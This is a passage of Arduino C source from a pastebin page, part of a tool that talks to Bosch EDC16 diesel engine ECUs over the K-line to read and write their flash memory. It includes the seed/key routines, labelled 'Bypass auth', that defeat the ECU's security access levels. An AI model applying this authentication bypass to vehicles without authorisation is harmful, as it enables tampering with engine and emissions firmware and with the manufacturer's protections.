  1043.       c=buff[buffcount];
  1044.       checksum=checksum+c;
  1045.       buffcount++;
  1046.       EBX=EBX&0xFFFFFF00;
  1047.       EBX=EBX+c;
  1048.       EAX=EAX>>0x10;
  1049.       a=EAX&0xFF;
  1050.       b=EBX&0xFF;
  1051.       a=a^b;
  1052.       EBX=EBX&0xFFFFFF00;
  1053.       EBX=EBX+a;
  1054.       EAX=0x10000;
  1055.       a=EBX&0xFF;
  1056.       SDbuffer[counter]=a;
  1057.       counter++;
  1058.       start++;
  1059.       c=buff[buffcount];
  1060.       checksum=checksum+c;
  1061.       buffcount++;
  1062.       EBX=EBX&0xFFFFFF00;
  1063.       EBX=EBX+c;
  1064.       ECX=ECX>>0x18;
  1065.       a=ECX&0xFF;
  1066.       b=EBX&0xFF;
  1067.       a=a^b;
  1068.       EBX=EBX&0xFFFFFF00;
  1069.       EBX=EBX+a;
  1070.       EAX--;
  1071.       a=EBX&0xFF;
  1072.       SDbuffer[counter]=a;
  1073.       counter++;
  1074.       start++;
  1075.       if (counter>=254)
  1076.       {
  1077.         myFile2.write(SDbuffer,counter);
  1078.         counter=0;
  1079.       }
  1080.       EBP=3;
  1081.       if (buffcount==128)
  1082.       {
  1083.         buffcount=0;
  1084.       }
  1085.     }
  1086.   }
  1087.  
  1088.   myFile2.close();
  1089.   return checksum;
  1090. }
  1091.  
  1092. ////*****************Seed/Key operations**************//////
  1093.  
  1094.  
  1095.  
  1096.  
  1097. //This is the authentication stage, the seed is requested to the ECU, and then the calculated key is sent
  1098.  
  1099.  
  1100. boolean LVL3Key()//Authentication to read the flash
  1101. {
  1102.   flp("Bypass auth...");
  1103.   delay(25);
  1104.   iso_sendstring(5,4);//Request LVL3 security access
  1105.   for(byte s=0; s<10; s++)
  1106.     {
  1107.       iso_read_byte();
  1108.       SDbuffer[s]=b;
  1109.     }
  1110.   b=iso_checksum(SDbuffer,9);
  1111.   if (b !=SDbuffer[9])
  1112.   {
  1113.     flp("Seed CRC mismatch!");
  1114.     Serial.println();
  1115.     delay(2000);
  1116.     return 0;
  1117.   }
  1118.   long tempstring;
  1119.   tempstring = SDbuffer [5];
  1120.   tempstring = tempstring<<8;
  1121.   long KeyRead1 = tempstring+SDbuffer[6];
  1122.   tempstring = SDbuffer [7];
  1123.   tempstring = tempstring<<8;
  1124.   long KeyRead2 = tempstring+SDbuffer[8];
  1125.   KeyRead1=KeyRead1<<16;
  1126.   KeyRead1=KeyRead1+KeyRead2;
  1127.   if (EcuType==1)
  1128.     {
  1129.       KeyRead1=KeyRead1+0x2FC9;
  1130.     }
  1131.   SDbuffer[0]=0x86;
  1132.   SDbuffer[1]=0x10;
  1133.   SDbuffer[2]=0xF1;
  1134.   SDbuffer[3]=0x27;
  1135.   SDbuffer[4]=0x04;
  1136. //Extract the key bytes
  1137.   SDbuffer[8]=KeyRead1;
  1138.   KeyRead1 = KeyRead1>>8;
  1139.   SDbuffer[7]=KeyRead1;
  1140.   KeyRead1 = KeyRead1>>8;
  1141.   SDbuffer[6]=KeyRead1;
  1142.   KeyRead1 = KeyRead1>>8;
  1143.   SDbuffer[5]=KeyRead1;
  1144.   SDbuffer [9]=iso_checksum(SDbuffer,9);
  1145. //done, now send the bytes
  1146.   delay(25);
  1147.   WriteString(10);
  1148.   boolean check =iso_readstring(6,4);
  1149.   if (!check)
  1150.   {
  1151.     flp("Seed auth failed!");
  1152.     Serial.println();
  1153.     delay(2000);
  1154.     return 0;
  1155.   }
  1156.  flp("Done!");
  1157.  Serial.println();
  1158. return 1;
  1159. }
  1160.  
  1161.  
  1162. boolean LVL1Key()//Authorisation to write the flash
  1163. {
  1164.   flp("Bypass auth...");    
  1165.     delay(25);  
  1166.     iso_sendstring(5,5);//request LVL1 security access
  1167.     for(byte s=0; s<10; s++)
  1168.     {
  1169.       iso_read_byte();
  1170.       SDbuffer[s] = b;
  1171.     }
  1172.     b=iso_checksum(SDbuffer,9);
  1173.   if (b !=SDbuffer[9])
  1174.   {
  1175.     flp("Seed CRC mismatch!");
  1176.     Serial.println();
  1177.     delay(2000);
  1178.     return 0;
  1179.   }
  1180.   //now we handle the seed bytes
  1181.   long tempstring;
  1182.   tempstring = SDbuffer [5];
  1183.   tempstring = tempstring<<8;
  1184.   long KeyRead1 = tempstring+SDbuffer[6];
  1185.   tempstring = SDbuffer [7];
  1186.   tempstring = tempstring<<8;
  1187.   long KeyRead2 = tempstring+SDbuffer[8];
  1188.   byte counter=0;
  1189.   long Magic1 = 0x1C60020;
  1190.   while (counter<5)
  1191.     {
  1192.      long temp1;
  1193.      tempstring = KeyRead1;
  1194.      tempstring = tempstring&0x8000;
  1195.      KeyRead1 = KeyRead1 << 1;
  1196.      temp1=tempstring&0xFFFF;//Same as EDC15 until this point
  1197.       if (temp1 == 0)//this part is the same for EDC15 and EDC16
  1198.        {
  1199.           long temp2 = KeyRead2&0xFFFF;
  1200.           long temp3 = tempstring&0xFFFF0000;
  1201.           tempstring = temp2+temp3;
  1202.           KeyRead1 = KeyRead1&0xFFFE;
  1203.           temp2 = tempstring&0xFFFF;
  1204.           temp2 = temp2 >> 0x0F;
  1205.           tempstring = tempstring&0xFFFF0000;
  1206.           tempstring = tempstring+temp2;
  1207.           KeyRead1 = KeyRead1|tempstring;
  1208.           KeyRead2 = KeyRead2 << 1;
  1209.        }
  1210.  
  1211.      else
  1212.       {
  1213.          long temp2;
  1214.          long temp3;
  1215.          tempstring = KeyRead2+KeyRead2;
  1216.          KeyRead1 = KeyRead1&0xFFFE;
  1217.          temp2=tempstring&0xFF;//Same as EDC15 until this point
  1218.          temp3=Magic1&0xFFFFFF00;
  1219.          temp2= temp2|1;
  1220.          Magic1=temp2+temp3;
  1221.          Magic1 = Magic1&0xFFFF00FF;
  1222.          Magic1 = Magic1|tempstring;
  1223.          temp2=KeyRead2&0xFFFF;
  1224.          temp3=tempstring&0xFFFF0000;
  1225.          temp2=temp2 >> 0x0F;
  1226.          tempstring=temp2+temp3;
  1227.          tempstring=tempstring|KeyRead1;
  1228.          Magic1=Magic1^0x1289;
  1229.          tempstring=tempstring^0x0A22;
  1230.          KeyRead2=Magic1;
  1231.          KeyRead1=tempstring;
  1232.       }
  1233.  
  1234.   counter++;
  1235.  }
  1236.   SDbuffer[0]=0x86;
  1237.   SDbuffer[1]=0x10;
  1238.   SDbuffer[2]=0xF1;
  1239.   SDbuffer[3]=0x27;
  1240.   SDbuffer[4]=0x02;
  1241. //Extract the key bytes
  1242.   SDbuffer[6]=KeyRead1;
  1243.   KeyRead1 = KeyRead1>>8;
  1244.   SDbuffer[5]=KeyRead1;
  1245.   SDbuffer[8]=KeyRead2;
  1246.   KeyRead2 = KeyRead2>>8;
  1247.   SDbuffer[7]=KeyRead2;
  1248.   SDbuffer [9]=iso_checksum(SDbuffer,9);
  1249. //done, now send the bytes
  1250.   delay(25);
  1251.   WriteString(10);
  1252.   boolean check=iso_readstring(6,5);//Ack for correct key sent
  1253.   if (!check)
  1254.   {
  1255.     flp("Seed auth failed!");
  1256.     Serial.println();
  1257.     delay(2000);
  1258.     return 0;
  1259.   }
  1260.  flp("Done!");
  1261.  Serial.println();
  1262.  return 1;
  1263. }
  1264.  
  1265.  
  1266.  
  1267.  
  1268.  
  1269.  
  1270. //*************ECU wakeup operations****************//
  1271.  
  1272. boolean EDC16CommonStart()
  1273. {
  1274.       flp("Connecting...");
  1275.       setspeed=10400;
  1276.       byte countercrap=0;
  1277.       boolean pitipoop=0;
  1278.       while (!pitipoop && countercrap<20)
  1279.       {
  1280.         pitipoop=ShortBurst();
  1281.         countercrap++;
  1282.       }
  1283.       if (countercrap==20)
  1284.       {
  1285.         flp("No response!");
  1286.         Serial.println();
  1287.         delay(2000);
  1288.         return 0;
  1289.       }
  1290.       flp("Done!");
  1291.       Serial.println();
  1292.       return 1;
  1293.  
  1294. }
  1295.  
  1296. boolean Bitbang()//Since we cannot set the serial port at 5 baud, we must go digital!
  1297. {
  1298.   serial_tx_off(); //Send address 0x01@5baud
  1299.   serial_rx_off();
  1300.   digitalWrite(K_OUT, HIGH);
  1301.   delay(300);
  1302.   digitalWrite(K_OUT, LOW);
  1303.   delay(200);
  1304.   digitalWrite(K_OUT, HIGH);
  1305.   delay(200);
  1306.   digitalWrite(K_OUT, LOW);
  1307.   delay(1400);
  1308.   digitalWrite(K_OUT, HIGH);
  1309.   setspeed=10400;
  1310.   Serial2.begin(10400);
  1311.   if (!CheckRec(0x55))
  1312.   {
  1313.     return 0;
  1314.   }
  1315.   return 1;
  1316.  
  1317. }
  1318.  
  1319. boolean SlowInit()
  1320. {
  1321.   flp("Connecting...");
  1322.   byte counter=0;
  1323.       boolean pitipoop=0;
  1324.       while (!pitipoop && counter<6)//We will try to connect 6 times
  1325.       {
  1326.         pitipoop=Bitbang();
  1327.         counter++;
  1328.       }
  1329.   if (counter==6)
  1330.   {
  1331.     return 0;
  1332.   }
  1333.   iso_read_byte();
  1334.   iso_read_byte();
  1335.   delay(45);
  1336.   iso_write_byte(~b);
  1337.   CheckRec(0xFE);
  1338.   delay(45);
  1339.   iso_sendstring(4,1);
  1340.   iso_readstring(6,1);
  1341.   flp("Done!");
  1342.   Serial.println();
  1343.   return 1;
  1344. }
  1345.  
  1346. boolean ShortBurst()
  1347. {
  1348.  serial_tx_off(); //disable UART so we can "bit-Bang" the fast init.
  1349.  serial_rx_off();
  1350.  digitalWrite(K_OUT, LOW);
  1351.  delay(25);
  1352.  digitalWrite(K_OUT, HIGH);
  1353.  serial_rx_on_();
  1354.  delay(25);
  1355.  iso_sendstring(4,1);
  1356.  byte counter=0;
  1357.  while (counter < 200 && Serial2.available()<1)//We will try to connect to it a few times
  1358.   {
  1359.     delay(1);
  1360.     counter++;
  1361.   }
  1362.   if (Serial2.available()<1)
  1363.   {
  1364.     return 0;
  1365.   }
  1366.   iso_readstring(6,1);
  1367.   delay(75);
  1368.   return 1;
  1369. }
  1370.  
  1371. /**********Response handling operations********/
  1372.  
  1373. void CheckAck()//Acknowledge from ECU during write proccess
  1374. {
  1375.   CheckRec(0x00);
  1376.   CheckRec(0x01);
  1377.   CheckRec(0x76);
  1378.   CheckRec(0x77);
  1379. }
  1380.  
  1381. void CloseEDC16Ecu()//Closing communications with the ECU
  1382. {
  1383.   delay(10);
  1384.   iso_write_byte(0x81);
  1385.   iso_write_byte(0x10);
  1386.   iso_write_byte(0xF1);
  1387.   iso_write_byte(0x82);
  1388.   iso_write_byte(0x04);
  1389.   CheckRec(0x81);
  1390.   CheckRec(0xF1);
  1391.   CheckRec(0x10);
  1392.   CheckRec(0xC2);
  1393.   CheckRec(0x44);
  1394. }
  1395.  
  1396.  
  1397. //**************Serial ports handling***************//
  1398. void serial_rx_on_()
  1399. {
  1400.   Serial2.begin(setspeed);
  1401. }
  1402.  
  1403. void serial_rx_off()
  1404. {
  1405.   UCSR2B &= ~(_BV(RXEN2));  //disable UART RX
  1406. }
  1407.  
  1408. void serial_tx_off()
  1409. {
  1410.    UCSR2B &= ~(_BV(TXEN2));  //disable UART TX
  1411.    delay(20);                //allow time for buffers to flush
  1412. }
  1413.  
  1414. //***********Single byte ISO reading and writing***********//
  1415. void iso_read_byte()
  1416. {
  1417.   int READ_ATTEMPTS=600;
  1418.   int readData;
  1419.   boolean success = true;
  1420.   int t=0;
  1421.   b=0;
  1422.  
  1423.   while(t != READ_ATTEMPTS  &&  Serial2.available() < 1)
  1424.   {
  1425.     delay(1);
  1426.     t++;
  1427.   }
  1428.  
  1429.   if (t >= READ_ATTEMPTS)
  1430.   {
  1431.     success = false;
  1432.   }
  1433.  
  1434.   if (success)
  1435.   {
  1436.     b = Serial2.read();
  1437.   }
  1438.  
  1439. }
  1440.  
  1441. void iso_write_byte(byte j)
  1442. {
  1443.   serial_rx_off();
  1444.   Serial2.write(j);
  1445.   if (setspeed ==10400)
  1446.   {
  1447.     delay(1);
  1448.   }
  1449.   if (setspeed !=10400)
  1450.   {
  1451.     delayMicroseconds(30);
  1452.   }
  1453.   serial_rx_on_();
  1454. }
  1455.  
  1456.  
  1457. //******************Read and send strings of data************//
  1458.  
  1459. boolean iso_readstring(byte leng, byte op)//Expected strings from ECU
  1460. {
  1461.   byte tmpc = 0;
  1462.   byte ff;
  1463.  
  1464.   for (tmpc=0;tmpc<leng;tmpc++)
  1465.   {
  1466.    
  1467.     if (op==1)//Commonstart
  1468.    {
  1469.      ff=pgm_read_byte(&EDC16_ECUBytes[tmpc]);
  1470.    }
  1471.    if (op==2)
  1472.    {
  1473.      ff=pgm_read_byte(&M58BW016xB_Read_ECUBytes[tmpc]);
  1474.    }
  1475.    if (op==3)
  1476.    {
  1477.      ff=pgm_read_byte(&Req250k_ECUBytes[tmpc]);//Answer to request to change speed to 250k
  1478.    }
  1479.    if (op==4)
  1480.    {
  1481.      ff=pgm_read_byte(&Lvl3Sec_ECUBytes[tmpc]);
  1482.    }
  1483.    if (op==5)
  1484.    {
  1485.      ff=pgm_read_byte(&Lvl1Sec_ECUBytes[tmpc]);
  1486.    }
  1487.    if (op==6)
  1488.    {
  1489.      ff=pgm_read_byte(&M58BW016xB_WriteAck_ECUBytes[tmpc]);
  1490.    }
  1491.    if (op==7)
  1492.    {
  1493.      ff=pgm_read_byte(&M58BW016xB_AddrAck_ECUBytes[tmpc]);
  1494.    }
  1495.  
  1496.  
  1497.   CheckRec(ff);
  1498.   SDbuffer[tmpc]=ff;
  1499.   }
  1500.   SDbuffer [tmpc]=iso_checksum(SDbuffer,tmpc); //Checks that the checksum is correct
  1501.   iscrc=1;
  1502.   boolean check= CheckRec(SDbuffer[tmpc]);
  1503.   if (!check)
  1504.   {
  1505.     iscrc=0;
  1506.     return 0;
  1507.   }
  1508.   iscrc=0;
  1509.   return 1;
  1510. }
  1511.  
  1512. void iso_sendstring(byte leng, byte op)//Sends a string stored in flash
  1513. {
  1514.   byte tmpc = 0;
  1515.   for (tmpc=0;tmpc<leng;tmpc++)
  1516.   {
  1517.    if (op==1)//Commonstart
  1518.    {
  1519.      b=pgm_read_byte(&EDC16ArduBytes[tmpc]);
  1520.    }
  1521.    if (op==2)
  1522.    {
  1523.      b=pgm_read_byte(&M58BW016xB_Read_ArduBytes[tmpc]);
  1524.    }
  1525.    if (op==3)
  1526.    {
  1527.      b=pgm_read_byte(&Req250k_ArduBytes[tmpc]);
  1528.    }
  1529.    if (op==4)
  1530.    {
  1531.      b=pgm_read_byte(&Lvl3Sec_ArduBytes[tmpc]);
  1532.    }
  1533.    if (op==5)
  1534.    {
  1535.      b=pgm_read_byte(&Lvl1Sec_ArduBytes[tmpc]);
  1536.    }
  1537.    
  1538.    if (op==6)
  1539.    {
  1540.      b=pgm_read_byte(&EDC16Info_ArduBytes[tmpc]);
  1541.    }
  1542.    if (op==8)
  1543.    {
  1544.      b=pgm_read_byte(&EDC16Erase_ArduBytes[tmpc]);
  1545.    }
  1546.    if (op==9)
  1547.    {
  1548.      b=pgm_read_byte(&Req124k_ArduBytes[tmpc]);
  1549.    }
  1550.      
  1551.    iso_write_byte(b);
  1552.    SDbuffer[tmpc]=b;
  1553.   }
  1554.   b=iso_checksum(SDbuffer,tmpc);
  1555.   iso_write_byte(b);
  1556. }  
  1557.  
  1558. void WriteString(byte leng)//Writes an entire string stored in SDbuffer
  1559. {
  1560.   for (byte crap=0; crap<leng; crap++)
  1561.   {
  1562.     iso_write_byte(SDbuffer[crap]);
  1563.   }
  1564. }
  1565.  
  1566. void ReadString()//Reads an entire string and stores it to SDbuffer
  1567. {
  1568.   while(Serial2.available()<1)
  1569.   {}
  1570.   byte crap=0;
  1571.   while(Serial2.available()>0)
  1572.   {
  1573.     iso_read_byte();
  1574.     SDbuffer[crap]=b;
  1575.     crap++;
  1576.     delay(1);
  1577.   }
  1578. }
  1579.  
  1580. //***************Data handling and checks**************//
  1581.  
  1582.  
  1583. //CRC calculation
  1584. byte iso_checksum(byte *data, long len)
  1585. {
  1586.   byte crc=0;
  1587.   for(word i=0; i<len; i++)
  1588.     crc=crc+data[i];
  1589.  
  1590.   return crc;
  1591. }
  1592.  
  1593.  
  1594.  
  1595.  
  1596. //Checks if the byte we receive is the one we expect
  1597. boolean CheckRec(byte p)
  1598. {
  1599.  
  1600.    iso_read_byte();
  1601.  
  1602.    if ( b == 0 && p != 0)
  1603.    {
  1604.      iso_read_byte();
  1605.    }
  1606.      
  1607.       if ( b!= p )
  1608.    {
  1609.      
  1610.          if (iscrc == 1)//This needs to be implemented, all results will return 0 now
  1611.       {
  1612.         return 0;
  1613.       }
  1614.       if (b==0)
  1615.       {
  1616.       return 0;
  1617.       }
  1618.       if (b!=0)
  1619.       {
  1620.       return 0;
  1621.       }
  1622.    }
  1623. return 1;
  1624. }
  1625.  
  1626.  
  1627.  
  1628.  
  1629. //********************Menu and buttons handling**************//
  1630.  
  1631. byte CheckButtonPressed()//Just waits for the user input for the next action
  1632. {
  1633.   while(Serial.available() < 1){}
  1634.   optionset=Serial.read();
  1635.   return 0;
  1636. }
  1637.  
  1638.  
  1639.  
  1640.  
  1641. //************************Other operations****************//
  1642. void VariablesInit()//Restarts the variables
  1643. {
  1644.   fail=0;
  1645.   setspeed=10400;
  1646.   success = 0;
  1647.   iscrc=0;
  1648.   EDC16ReadDone=0;
  1649.   checksum1=0;
  1650.   checksum2=0;
  1651.   kill=0;
  1652. }
  1653.  
  1654. void flashprint (const char p[])//Helps saving lots of RAM by storing strings on the flash
  1655. {
  1656.     byte g;
  1657.     while (0 != (g = pgm_read_byte(p++))) {
  1658.       char j=g;
  1659.       Serial.print(j);
  1660.     }
  1661. }
  1662.  
  1663.  ///////////////////////////////////
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!